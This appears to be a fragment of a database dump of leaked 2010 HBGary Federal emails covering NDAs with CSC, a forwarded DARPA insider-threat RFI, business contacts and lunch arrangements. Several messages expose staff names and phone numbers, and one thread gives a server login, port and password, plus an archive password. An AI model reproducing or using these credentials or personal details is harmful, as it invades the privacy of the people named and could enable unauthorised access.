working together in winning\r\nthis important work. \r\n\r\n\r\n\r\n\r\nIn addition to the MOU, the following documents are also required.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nPlease review, update, and return the required documents at your earliest\r\nconvenience. \r\n\r\nIf you have any questions, please do not hesitate to ask.\r\n\r\n\r\nThanks \r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose. \r\n\r\n\r\n\r\n\r\nFrom:\r\n\r\nEdna Robinson/USA/CSC\r\n\r\n\r\nTo:\r\n\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nCc:\r\n\r\nPaul Rooney/USA/CSC@CSC, Phillip S Peak/FED/CSC@CSC\r\n\r\n\r\nDate:\r\n\r\n04/26/2010 01:58 PM\r\n\r\n\r\nSubject:\r\n\r\nRe: CTSC Non Disclosure Agreement\r\n\r\n\r\n\r\n\r\n\r\nAaron, \r\n\r\nPlease find the CTSC NDA full executed. \r\n\r\n[attachment &quot;CTSC Non-Disclosure Agreement. - HB Gray.pdf&quot; deleted\r\nby Edna Robinson/USA/CSC] \r\n\r\nThanks \r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose. \r\n\r\n\r\n\r\n\r\nFrom:\r\n\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nTo:\r\n\r\nEdna Robinson/USA/CSC@CSC\r\n\r\n\r\nDate:\r\n\r\n04/26/2010 11:09 AM\r\n\r\n\r\nSubject:\r\n\r\nRe: CTSC Non Disclosure Agreement\r\n\r\n\r\n\r\n\r\n\r\n\r\nHere you go. \r\n\r\nAaron \r\n[attachment &quot;CSC CTSC NDA_0_20100426_1107.pdf&quot; deleted by Edna\r\nRobinson/USA/CSC] \r\n\r\nOn Apr 21, 2010, at 10:10 AM, Edna Robinson wrote: \r\n\r\n\r\nGood Morning Aaron, \r\n\r\nLet me know if you can open this one. \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose. \r\n\r\n\r\nFrom:\r\n\r\nAaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\n\r\nTo:\r\n\r\nEdna Robinson/USA/CSC@CSC\r\n\r\n\r\nDate:\r\n\r\n04/21/2010 09:28 AM\r\n\r\n\r\nSubject:\r\n\r\nRe: CTSC Non Disclosure Agreement\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Edna, \r\n\r\nCould you resend this document. &nbsp;I am getting a corruption error.\r\n&nbsp;It might be on my end, I am on a Mac. \r\n\r\nThank you, \r\nAaron \r\n\r\nOn Apr 20, 2010, at 3:13 PM, Edna Robinson wrote: \r\n\r\n\r\nGood Afternoon Mr. Aron, \r\n\r\nPlease sign an return the attached Non Disclosure agreement at your earliest\r\nconvenience so that it may be Fully Executed prior to your meeting \r\nwith Paul Rooney. \r\n\r\n\r\n\r\nThanks \r\n\r\nEdna Robinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.comEdna\r\nRobinson \r\nAXISS Subcontracts Administrator\r\nCSC\r\n\r\n7231 Parkway Drive.,Hanover, MD. 21076\r\nEnforcement Security &amp; Intel-Federal Sector|P:1-443.445-7044 F: 1-443-445-7135\r\n|erobinson6@csc.com\r\nwww.csc.com\r\n\r\n\r\n\r\n\r\nThis is a PRIVATE message. If you are not the intended recipient, please\r\ndelete without copying and kindly advise us by e-mail of the mistake in\r\ndelivery. \r\nNOTE: Regardless of content, this e-mail shall not operate to bind CSC\r\nto any order or other contract unless pursuant to explicit written agreement\r\nor government initiative expressly permitting the use of e-mail for such\r\npurpose.&lt;CTSC Non-Disclosure Agreement.doc&gt; \r\n\r\nAaron Barr \r\nCEO \r\nHBGary Federal Inc. \r\n\r\n\r\n&lt;CTSC Non-Disclosure Agreement.doc&gt; \r\n\r\nAaron Barr \r\nCEO \r\nHBGary Federal Inc. \r\n\r\n\r\n\r\n\r\n&lt;CTSC Memorandum of Understanding for HB Gray 5.4.2010.doc&gt;&lt;F225-1\r\nRepresentations &amp; Certifications.doc&gt;&lt;Subcontractor System Questionnaire\r\n2009 08.xls&gt; \r\n\r\nAaron Barr \r\nCEO \r\nHBGary Federal Inc. \r\n\r\n\r\n&lt;CTSC Memorandum of Understanding for HB Gray 5.4.2010_20100517_1453.pdf&gt;&lt;F225-1\r\nRepresentations &amp; Certifications-2_20100517_1458.pdf&gt;&lt;Subcontractor\r\nSystem Questionnaire 2009 08-2.xls&gt;\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n',12391,'aaron_hbgary_com/12391.html'),(6426,'2010-05-18','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','/aaron@hbgary.com/new/1297004622.M775007P14101Q1281.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: DARPA SMITE RFI','\r\n\r\n\r\n\r\n\r\nFW: DARPA SMITE RFI \r\n\r\n\r\n\r\n\r\nFYI\r\n\r\n\r\n\r\n &lt;&lt;SMITE_RFI_17May10.pdf&gt;&gt; \r\n\r\n\r\n\r\n&nbsp;\r\n\r\nDARPA-SN-10-46: Request for Information (RFI) - Suspected Malicious Insider Threat Elimination (SMITE)\r\n\r\nSolicitation Number: DARPA-SN-10-46\r\n\r\nAgency: Other Defense Agencies\r\nOffice: Defense Advanced Research Projects Agency\r\nLocation: Contracts Management Office\r\n\r\n\r\n\r\nNotice Type: \r\n\r\nSpecial Notice \r\n\r\nPosted Date: \r\n\r\nMay 17, 2010 \r\n\r\nResponse Date: \r\n\r\nMay 26, 2010 12:00 pm&nbsp;Eastern \r\n\r\nArchiving Policy: \r\n\r\nAutomatic, 15 days after response date \r\n\r\nArchive Date: \r\n\r\nJune 10, 2010 \r\n\r\nOriginal Set Aside: \r\n\r\nN/A \r\n\r\nSet Aside: \r\n\r\nN/A \r\n\r\nClassification Code: \r\n\r\nA -- Research &amp; Development \r\n\r\nNAICS Code: \r\n\r\n541 -- Professional, Scientific, and Technical Services/541712 -- Research and Development in the Physical, Engineering, and Life Sciences (except Biotechnology) \r\n\r\n\r\n\r\nSolicitation Number: \r\n\r\nDARPA-SN-10-46 \r\n\r\nNotice Type: \r\n\r\nSpecial Notice \r\n\r\nSynopsis: \r\n\r\nAdded: May 17, 2010 3:41 pm \r\n\r\nSee attachment.\r\n\r\nPlease consult the list of document viewers if you cannot open a file.\r\n\r\nDARPA-SN-10-46\r\n\r\nType: \r\n\r\nOther (Draft RFPs/RFIs, Responses to Questions, etc..) \r\n\r\nLabel: \r\n\r\nDARPA-SN-10-46 \r\n\r\nPosted Date: \r\n\r\nMay 17, 2010 \r\n\r\nSMITE RFI 17May10.pdf (21.90 Kb)\r\n\r\nDescription: DARPA-SN-10-46: SMITE RFI\r\n\r\nContracting Office Address: \r\n\r\n3701 North Fairfax Drive\r\nArlington, Virginia 22203-1714 \r\n\r\nPrimary Point of Contact.: \r\n\r\nIPTO BAA Coordinator \r\n\r\nsee_admin_address@announcement.mil\r\n\r\nPhone: XXXXXXXXXX\r\n\r\nFax: XXXXXXXXXX\r\n\r\n\r\n\r\nAll Files\r\n\r\nDARPA-SN-10-46 \r\n\r\n\r\nMay 17, 2010\r\n\r\nSMITE RFI 17May10.pdf\r\n\r\n\r\n\r\nOpportunity History\r\n\r\n&#183;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Original Synopsis \r\n\r\nMay 17, 2010\r\n\r\n3:41 pm\r\n\r\n\r\n\r\n\r\n',16428,'aaron_hbgary_com/16428.html'),(6427,'2010-05-18','\"Clair, Chris (TASC)\" <CHRISTOPHER.CLAIR@tasc.com>','/aaron@hbgary.com/new/1297004623.M27237P14101Q1282.eml','\"Lovegrove, John (TASC)\" <John.Lovegrove@tasc.com>,\"Brunst Jr, Gerald R (TASC)\" <GERALD.BRUNSTJR@tasc.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Newbern, David W (TASC)\" <DAVID.NEWBERN@tasc.com>,dta@archimedesglobal.com,jon@whitecanvasgroup.com','COIN review','\r\n\r\n\r\n\r\n\r\nCOIN review\r\n\r\n\r\n\r\n\r\nWhen: Tuesday, May 18, 2010 10:00 AM-12:00 PM (GMT-05:00) Eastern Time (US &amp; Canada).\r\n\r\nWhere: WF4 4A\r\n\r\nNote: The GMT offset above does not reflect daylight saving time adjustments.\r\n\r\n*~*~*~*~*~*~*~*~*~*\r\n\r\nNotice we are meeting in 4A.&nbsp; Let&#8217;s get together and chat some COIN.&nbsp; \r\n\r\n\r\n\r\nThanks, \r\n\r\nChris \r\n\r\n__________________________________________________\r\n\r\n&lt;&lt;ole0.bmp&gt;&gt;&nbsp; |Chris Clair | Program Manager | 703.449.3964 \r\n\r\n\r\n\r\n &lt;&lt;ole0.bmp&gt;&gt; \r\n\r\n\r\n',6217,'aaron_hbgary_com/6217.html'),(6428,'2010-05-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004623.M302530P14101Q1283.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: DARPA SMITE RFI','Sent from my iPadBegin forwarded message:From: &quot;Harlow, Douglas M.&quot; &lt;Douglas.Harlow@gd-ais.com&gt;\r\nDate: May 18, 2010 9:08:43 AM EDTTo: &quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;Subject: FW: DARPA SMITE RFI \r\n\r\n\r\n\r\n\r\nFYI\r\n\r\n\r\n\r\n &lt;&lt;SMITE_RFI_17May10.pdf&gt;&gt; \r\n\r\n\r\n\r\n\r\n \r\n\r\nDARPA-SN-10-46: Request for Information (RFI) - Suspected Malicious Insider Threat Elimination (SMITE)\r\n\r\nSolicitation Number: DARPA-SN-10-46\r\n\r\nAgency: Other Defense Agencies\r\nOffice: Defense Advanced Research Projects Agency\r\nLocation: Contracts Management Office\r\n\r\n\r\n\r\nNotice Type: \r\n\r\nSpecial Notice \r\n\r\nPosted Date: \r\n\r\nMay 17, 2010 \r\n\r\nResponse Date: \r\n\r\nMay 26, 2010 12:00 pm Eastern \r\n\r\nArchiving Policy: \r\n\r\nAutomatic, 15 days after response date \r\n\r\nArchive Date: \r\n\r\nJune 10, 2010 \r\n\r\nOriginal Set Aside: \r\n\r\nN/A \r\n\r\nSet Aside: \r\n\r\nN/A \r\n\r\nClassification Code: \r\n\r\nA -- Research &amp; Development \r\n\r\nNAICS Code: \r\n\r\n541 -- Professional, Scientific, and Technical Services/541712 -- Research and Development in the Physical, Engineering, and Life Sciences (except Biotechnology) \r\n\r\n\r\n\r\n\r\nSolicitation Number: \r\n\r\nDARPA-SN-10-46 \r\n\r\nNotice Type: \r\n\r\nSpecial Notice \r\n\r\nSynopsis: \r\n\r\nAdded: May 17, 2010 3:41 pm \r\n\r\n\r\nSee attachment.\r\n\r\nPlease consult the list of document viewers if you cannot open a file.\r\n\r\n\r\nDARPA-SN-10-46\r\n\r\nType: \r\n\r\nOther (Draft RFPs/RFIs, Responses to Questions, etc..) \r\n\r\nLabel: \r\n\r\nDARPA-SN-10-46 \r\n\r\nPosted Date: \r\n\r\nMay 17, 2010 \r\n\r\nSMITE RFI 17May10.pdf (21.90 Kb)\r\n\r\n\r\nDescription: DARPA-SN-10-46: SMITE RFI\r\n\r\n\r\nContracting Office Address: \r\n\r\n3701 North Fairfax Drive\r\nArlington, Virginia 22203-1714 \r\n\r\nPrimary Point of Contact.: \r\n\r\nIPTO BAA Coordinator \r\n\r\nsee_admin_address@announcement.mil\r\n\r\n\r\nPhone: XXXXXXXXXX\r\n\r\nFax: XXXXXXXXXX\r\n\r\n\r\n\r\nAll Files\r\n\r\n\r\nDARPA-SN-10-46 \r\n\r\n\r\nMay 17, 2010\r\n\r\nSMITE RFI 17May10.pdf\r\n\r\n\r\n\r\n\r\nOpportunity History\r\n\r\n·       Original Synopsis \r\n\r\n\r\nMay 17, 2010\r\n\r\n3:41 pm\r\n\r\n\r\n\r\n\r\n\r\n',362,'aaron_hbgary_com/362.html'),(6429,'2010-05-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004623.M592462P14101Q1284.eml','\"Ted Vera\" <ted@hbgary.com>','Badge','That\'s cool.\r\n\r\n From my iPhone\r\n',10916,'aaron_hbgary_com/10916.html'),(6430,'2010-05-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004623.M920543P14101Q1285.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Badge',':)\r\n\r\nThought you\'d like it for meetings. Those were prototypes the actuals\r\nhave mag stripes and different layout.\r\n\r\n\r\n\r\nOn May 18, 2010, at 7:55 AM, Aaron Barr  wrote:\r\n\r\n> That\'s cool.\r\n>\r\n> From my iPhone\r\n',5976,'aaron_hbgary_com/5976.html'),(6431,'2010-05-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004624.M149873P14101Q1286.eml','\"Goldman, Bradford L.\" <BRADFORD.L.GOLDMAN@saic.com>','Re: Discussion','Brad,\r\n\r\nWe are not currently a signed team mate with GD for the us-cert work\r\nalthough there is expressed interest and some initial conversations.\r\nWe will have a decision to make since both you and GD are comapnies we\r\nwant continued relationships.\r\n\r\nCan you send me contact information for the NANA PM?\r\n\r\nThank you,\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn May 7, 2010, at 4:27 PM, \"Goldman, Bradford L.\"  wrote:\r\n\r\n> Aaron,\r\n>\r\n> Sounds good, how about Tuesday at 3:30pm or later or Wednesday morning\r\n> around 10 or 11 am?\r\n>\r\n> regards,\r\n> Brad Goldman\r\n> +1.703.966.6010\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Friday, May 07, 2010 8:42 AM\r\n> To: Goldman, Bradford L.\r\n> Subject: Discussion\r\n>\r\n> Hi Brad,\r\n>\r\n> We met briefly at the Tech Tuesday last week.  You mentioned you would\r\n> like to have a follow on conversation.  Let me know some\r\n> availabilities and maybe we can meet up next week.\r\n>\r\n> Aaron\r\n> CEO\r\n> HBGary Federal\r\n>\r\n> Sent from my iPad\r\n',16597,'aaron_hbgary_com/16597.html'),(6432,'2010-05-18','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297004624.M386198P14101Q1287.eml','\"Barr Aaron\" <aaron@hbgary.com>,\"Mark Trynor\" <mark@hbgary.com>','Fwd: We need to change lunch date...','Begin forwarded message:From: &quot;Williams, Joy T (IS)&quot; &lt;JOY.WILLIAMS@ngc.com&gt;\r\nDate: May 18, 2010 8:04:11 AM MDTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: RE: We need to change lunch date...\r\nCool - Tawny ordered a water bottle and had it overnighted so she couldtake it to the VTC ...LOL\r\nJoy T Williams Northrop Grumman Information SystemsNetCentric Information OperationsDepartment Administrator1795 Jet Wing Drive, Suite 200\r\nColorado Springs, CO 80916719-622-5500Fax:719-622-5101Efax: 978-684-3865Email: joy.williams@ngc.com\r\n-----Original Message-----From: Ted Vera [mailto:ted@hbgary.com] Sent: Tuesday, May 18, 2010 8:02 AM\r\nTo: Williams, Joy T (IS)Subject: Re: We need to change lunch date...Red lobster sounds good, at 12:00. I ordered some mugs and a few otherthings I&#39;ll bring you both something assuming they arrive by then.\r\nOn May 18, 2010, at 7:57 AM, &quot;Williams, Joy T (IS)&quot;&lt;JOY.WILLIAMS@ngc.com\r\nwrote:K- we chose Red Lobster the one off of Powers...how does noon sound?\r\nTawny has the vtc at 1100....What kind of swag did you order? I so want one of those yellow\r\nmessengerbags...everyone will notice that! Can you bring Tawny a mug too.\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]Sent: Saturday, May 15, 2010 11:21 AMTo: Williams, Joy T (IS)\r\nSubject: Re: We need to change lunch date...I&#39;m easy, whatever you girls feel like.\r\nCheck out www.cafepress.com/HBGary\r\nI ordered some more swag, I&#39;ll bring you a mug, lol.\r\nTed\r\nOn May 13, 2010, at 12:15 PM, &quot;Williams, Joy T (IS)&quot;&lt;JOY.WILLIAMS@ngc.com\r\nwrote:Where on thurs for lunch? and do you have any HBGary swag me and\r\ntawnycan have, like coffee mug or water bottle.... I want to see what\r\npeopledo if they see me using HBGary stuff...LOL\r\nJoy T Williams\r\nNorthrop Grumman Information SystemsNetCentric Information Operations\r\nDepartment Administrator1795 Jet Wing Drive, Suite 200\r\nColorado Springs, CO 80916719-622-5500\r\nFax:719-622-5101Efax: 978-684-3865\r\nEmail: joy.williams@ngc.com\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]Sent: Tuesday, May 11, 2010 3:53 PM\r\nTo: Williams, Joy T (IS)Subject: Re: We need to change lunch date...\r\nThurs is good, yep, we met.\r\n\r\nOn May 11, 2010, at 1:16 PM, &quot;Williams, Joy T (IS)&quot;\r\n&lt;JOY.WILLIAMS@ngc.com\r\nwrote:\r\nNext week should work....so Thursday next week??? Did you have yourmeeting with Roger?\r\n\r\nJoy T WilliamsNorthrop Grumman Information Systems\r\nNetCentric Information Operations\r\nDepartment Administrator1795 Jet Wing Drive, Suite 200\r\nColorado Springs, CO 80916\r\n719-622-5500Fax:719-622-5101\r\nEfax: 978-684-3865\r\nEmail: joy.williams@ngc.com\r\n-----Original Message-----\r\nFrom: Ted Vera [mailto:ted@hbgary.com]\r\nSent: Tuesday, May 11, 2010 2:15 PMTo: Williams, Joy T (IS)\r\nSubject: Re: We need to change lunch date...\r\nI&#39;m in Sacramento until Thursday.  How bout next week.\r\n\r\nTed\r\nOn Tue, May 11, 2010 at 2:01 PM, Williams, Joy T (IS)\r\n&lt;JOY.WILLIAMS@ngc.com&gt; wrote:\r\nI am moving on Friday...we are closing on Thursday. What&#39;s a better\r\nday this\r\nweek? Or next week?\r\n\r\n\r\nJoy T Williams\r\nNorthrop Grumman Information Systems\r\n\r\nNetCentric Information Operations\r\nDepartment Administrator\r\n\r\n1795 Jet Wing Drive, Suite 200\r\nColorado Springs, CO 80916\r\n\r\n719-622-5500\r\nFax:719-622-5101\r\n\r\nEfax: 978-684-3865\r\nEmail: joy.williams@ngc.com\r\n\r\n\r\n\r\n\r\n\r\n--Ted H. Vera\r\nPresident | COOHBGary Federal\r\n719-237-8623\r\n',12398,'aaron_hbgary_com/12398.html'),(6433,'2010-05-18','\"Potomac Officers Club\" <events@potomacofficersclub.com>','/aaron@hbgary.com/new/1297004627.M895945P14101Q1288.eml','aaron@hbgary.com','POC Event - June 2','\r\nPotomac Officers Club - Event Registration Confirmation\r\n\r\n\r\nbody, td{font-family:arial,sans-serif;font-size:80%}\r\na:link, a:active, a:visited{color:#0000CC}\r\nimg{border:0}\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n    					\r\n\r\nBy clicking NO You will not be contacted about Martha N. Johnson, Administrator of General Services again\r\n\r\nDear Aaron,\r\n	\r\n	The POC has another great event coming up soon!  Martha Johnson (Administrator of General Services) will be speaking at a luncheon event on Wednesday, June 2. This is an exclusive opportunity to hear directly from the head of the Federal Government’s largest consumer of IT products and services! As Administrator, Johnson presides over the largest federal acquisition and procurement agency. GSA leverages the buying power of the entire federal government through procurement schedules to secure, in the most cost-effective, transparent, and sustainable manner possible, the goods, services, and real property that the civilian federal government needs to operate.\r\n\r\nDon’t miss this rare opportunity.  Details of the event are as follows:\r\n\r\nDate:  Wednesday, June 2, 2010\r\nTime:  11:30 am (networking and registration) 12:00 – 1:00 (Speaker and lunch)\r\nLocation:  The Ritz Carlton – Tyson’s Corner\r\n\r\n\r\nWe hope to see you all there!\r\n\r\n\r\n\r\n    					\r\n	\r\n	\r\n	By clicking NO You will not be contacted about Martha N. Johnson, Administrator of General Services again\r\n	\r\n	\r\n	\r\n	  \r\n  \r\n\r\n&nbsp;\r\nEVENT SPONSOR&nbsp;\r\n	&nbsp;\r\n\r\n\r\n\r\n\r\nPowered by\r\nCarbon8 Studios.\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2798,'aaron_hbgary_com/2798.html'),(6434,'2010-05-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004629.M577542P14101Q1289.eml','\"Harlow, Douglas M.\" <Douglas.Harlow@gd-ais.com>','Re: DARPA SMITE RFI','Thanks Doug. &nbsp;We are not going to write an RFI response directly but have some ideas on how to go after this problem. &nbsp;We would be interested in partnering with you on this if you decided to go after it.AaronOn May 18, 2010, at 9:08 AM, Harlow, Douglas M. wrote:\r\n\r\nFYI &lt;&lt;SMITE_RFI_17May10.pdf&gt;&gt; &nbsp;DARPA-SN-10-46: Request for Information (RFI) - Suspected Malicious Insider Threat Elimination (SMITE)Solicitation Number: DARPA-SN-10-46Agency: Other Defense Agencies\r\nOffice: Defense Advanced Research Projects Agency\r\nLocation: Contracts Management OfficeNotice Type: Special Notice Posted Date: May 17, 2010 Response Date: May 26, 2010 12:00 pm&nbsp;Eastern Archiving Policy: Automatic, 15 days after response date Archive Date: June 10, 2010 Original Set Aside: N/A Set Aside: N/A Classification Code: A -- Research &amp; Development NAICS Code: 541 -- Professional, Scientific, and Technical Services/541712 -- Research and Development in the Physical, Engineering, and Life Sciences (except Biotechnology) Solicitation Number: DARPA-SN-10-46 Notice Type: Special Notice Synopsis: Added: May 17, 2010 3:41 pm See attachment.Please consult the list of document viewers if you cannot open a file.DARPA-SN-10-46Type: Other (Draft RFPs/RFIs, Responses to Questions, etc..) Label: DARPA-SN-10-46 Posted Date: May 17, 2010 SMITE RFI 17May10.pdf (21.90 Kb)Description: DARPA-SN-10-46: SMITE RFIContracting Office Address: 3701 North Fairfax Drive\r\nArlington, Virginia 22203-1714 Primary Point of Contact.: IPTO BAA Coordinator see_admin_address@announcement.milPhone: XXXXXXXXXXFax: XXXXXXXXXXAll FilesDARPA-SN-10-46 \r\nMay 17, 2010\r\nSMITE RFI 17May10.pdf\r\nOpportunity History·&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Original Synopsis \r\nMay 17, 20103:41 pm\r\n\r\n\r\n\r\n&lt;SMITE_RFI_17May10.pdf&gt;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',11282,'aaron_hbgary_com/11282.html'),(6435,'2010-05-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004629.M813328P14101Q1290.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: In design','Begin forwarded message:From: Charles Copeland &lt;charles@hbgary.com&gt;Date: May 17, 2010 8:33:48 PM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: In designsftpOn Mon, May 17, 2010 at 4:06 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nChark,Is that ftp, sftp?AaronOn May 17, 2010, at 2:27 PM, Charles Copeland wrote:\r\nHello Aaron,&nbsp;Greg asked me to set you up a account on the support box. &nbsp;Your UN is aaron and PW is asdf1234 change the PW when you get a chance.support.hbgary.com&nbsp;port 59022 &nbsp;let me know if you have any questions.\r\n\r\nOn Mon, May 17, 2010 at 11:12 AM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\nChark,\r\nSet aaron up with a support.hbgary.com account.\r\n&nbsp;\r\n-Greg\r\n---------- Forwarded message ----------From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\n\r\nDate: Mon, May 17, 2010 at 10:56 AM\r\nSubject: Re: In designTo: Greg Hoglund &lt;greg@hbgary.com&gt;\r\n\r\nHey Greg,\r\n\r\nI don\'t think i have access to that? &nbsp;If I do can u point me in the right direction.\r\nAaronSent from my iPad\r\n\r\n\r\n\r\nOn May 17, 2010, at 1:22 PM, Greg Hoglund &lt;greg@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n&nbsp;\r\nRich, Aaron,\r\n&nbsp;\r\nThe report indd files for the following:\r\n- Exploitaiton Assessment with REcon whitepaper\r\n- AD data sheet\r\n- Aurora whitepaper\r\n- QinetiQ report\r\n&nbsp;\r\ncan all be found in \'ReportTemplatesForBoyz.rar\' in Rich\'s home dir on support.&nbsp; PW is meatflower.\r\n&nbsp;\r\nThere are some additional files for you in this rar:\r\n&nbsp;\r\nFonts directory - you want these fonts installed.\r\nTwo PPT files with the original pie charts used in QinetiQ\'s report.&nbsp; You want these so you can make your own pie charts as needed.\r\n&nbsp;\r\n-Greg\r\nOn Mon, May 17, 2010 at 9:53 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nGreg,Can I get the indd file for qenetiq and aurora report. &nbsp;I have thesoftware and 30 day trial license.\r\n\r\n\r\nAaron&nbsp;From my iPhone\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',8486,'aaron_hbgary_com/8486.html'),(6436,'2010-05-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004630.M294935P14101Q1292.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: Talk on Wednesday???','sure give me a call.AaronOn May 17, 2010, at 10:36 AM, Masterson, Brian (Xetron) wrote:\r\n\r\nHey Aaron,Sorry.&nbsp; I am unburied now.&nbsp; Down in San Antonio today and tomorrow.&nbsp; Meeting with the 950th and 67th tomorrow.&nbsp; Got Cyber Threat on the agenda to discuss.&nbsp; Are you available on Wednesday to catch up?BrianBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',9902,'aaron_hbgary_com/9902.html'),(6437,'2010-05-18','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297004630.M513717P14101Q1293.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Talk on Wednesday???','Begin forwarded message:From: \"Masterson, Brian (Xetron)\" &lt;Brian.Masterson@ngc.com&gt;Date: May 17, 2010 10:36:55 AM EDTTo: \"Aaron Barr\" &lt;aaron@hbgary.com&gt;Subject: Talk on Wednesday???\r\n\r\nHey Aaron,Sorry.&nbsp; I am unburied now.&nbsp; Down in San Antonio today and tomorrow.&nbsp; Meeting with the 950th and 67th tomorrow.&nbsp; Got Cyber Threat on the agenda to discuss.&nbsp; Are you available on Wednesday to catch up?BrianBrian Masterson\r\nNorthrop Grumman/Xetron\r\nChief Technology Officer, Cyber Solutions\r\nPh: 513-881-3591\r\nCell: 513-706-4848\r\nFax: 513-881-3877 \r\n\r\n\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7093,'aaron_hbgary_com/7093.html'),(6438,'2010-05-18','\"Charles Copeland\" <charles@hbgary.com>','/aaron@hbgary.com/new/1297004630.M725018P14101Q1294.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: In design','Hello Aaron,  I just disabled and enabled your permissions please try again.  Let me know how it goes.CharlesOn Tue, May 18, 2010 at 11:32 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nThanks.  I don&#39;t have access to Richs directory and don&#39;t see the file anywhere else.\r\nLooking for ReportTemplatesForBoyz.rarAaronOn May 17, 2010, at 8:33 PM, Charles Copeland wrote:\r\nsftpOn Mon, May 17, 2010 at 4:06 PM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nChark,Is that ftp, sftp?AaronOn May 17, 2010, at 2:27 PM, Charles Copeland wrote:\r\nHello Aaron, Greg asked me to set you up a account on the support box.  Your UN is aaron and PW is asdf1234 change the PW when you get a chance.support.hbgary.com port 59022  let me know if you have any questions.\r\n\r\n\r\nOn Mon, May 17, 2010 at 11:12 AM, Greg Hoglund 